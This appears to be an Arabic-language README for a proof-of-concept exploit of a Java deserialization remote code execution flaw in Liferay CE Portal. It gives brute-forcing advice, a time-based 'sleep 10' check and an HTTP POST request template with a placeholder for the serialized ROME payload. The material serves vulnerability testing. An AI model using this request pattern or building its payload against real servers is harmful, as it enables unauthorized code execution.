Liferay-CE-Portal-Java-Deserialization

يحتوي هذا المستودع على إثبات المفهوم (PoC) لثغرة تنفيذ الأكواد عن بُعد في Liferay CE Portal!

الحمولات

لقد قمت بالفعل بمشاركة الحمولات في المستودع. يجب عليك العثور على الصيغة الصحيحة بطريقة القوة الغاشمة (brute-force). الحمولات التي أشاركها هي لإثبات المفهوم القائم على الوقت (sleep 10). قد لا يقوم التطبيق دائمًا بإخراج الأمر. لهذا السبب يجب عليك تجربة الحمولة القائمة على الوقت أثناء القيام بإثبات المفهوم.

إثبات المفهوم

• POST /api/liferay HTTP/1.1
• Host: TARGET
• User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0)
• Accept: text/html,application/xhtml+xml,application/xml;q=0.9
• Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
• Accept-Encoding: gzip, deflate
• Connection: close

ROME-PAYLOAD-FILE

مثال لإثبات المفهوم (sleep 10)